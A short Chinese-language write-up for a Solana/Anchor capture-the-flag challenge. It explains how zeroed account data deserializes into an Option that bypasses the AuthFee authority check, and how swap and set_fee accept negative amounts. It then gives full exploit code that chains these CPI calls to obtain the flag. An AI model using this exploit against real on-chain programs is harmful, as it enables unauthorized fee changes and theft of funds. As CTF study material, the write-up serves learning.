solve-framework是解题模板,修改里面的代码即可
主要的问题应该是rust的option在被反序列化时行为比较奇怪,全0的bytes反序列化成option有可能is_some为true,也可能为false。
比如AuthFee里的state.fee_manager即使从未设置过(全0),is_some()为true,而里面的authority也是全0,is_some()却为false,这样使得我们可以绕过AuthFee执行set_fee。
同时swap和set_fee的时候amt可以为负数。
use anchor_lang::prelude::*;
use anchor_spl::token::Token;
declare_id!("osecio1111111111111111111111111111111111111");
pub const FLAG_SEED: &[u8] = b"flag";
#[program]
pub mod solve {
use super::*;
pub fn get_flag(ctx: Context<GetFlag>) -> Result<()> {
msg!("solve program id: {:?}", ctx.program_id);
let cpi_accounts = chall::cpi::accounts::Swap {
state: ctx.accounts.state.to_account_info(),
payer: ctx.accounts.payer.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::swap(cpi_ctx, -1_000_000)?;
let cpi_accounts = chall::cpi::accounts::AuthFee {
state: ctx.accounts.state.to_account_info(),
payer: ctx.accounts.payer.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::set_fee(cpi_ctx, -100)?;
let cpi_accounts = chall::cpi::accounts::Swap {
state: ctx.accounts.state.to_account_info(),
payer: ctx.accounts.payer.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::swap(cpi_ctx, 0)?;
Ok(())
}
}
#[derive(Accounts)]
pub struct GetFlag<'info> {
#[account(mut)]
pub state: AccountInfo<'info>,
#[account(mut)]
pub payer: Signer<'info>,
pub system_program: Program<'info, System>,
pub token_program: Program<'info, Token>,
pub rent: Sysvar<'info, Rent>,
pub chall: Program<'info, chall::program::Chall>
}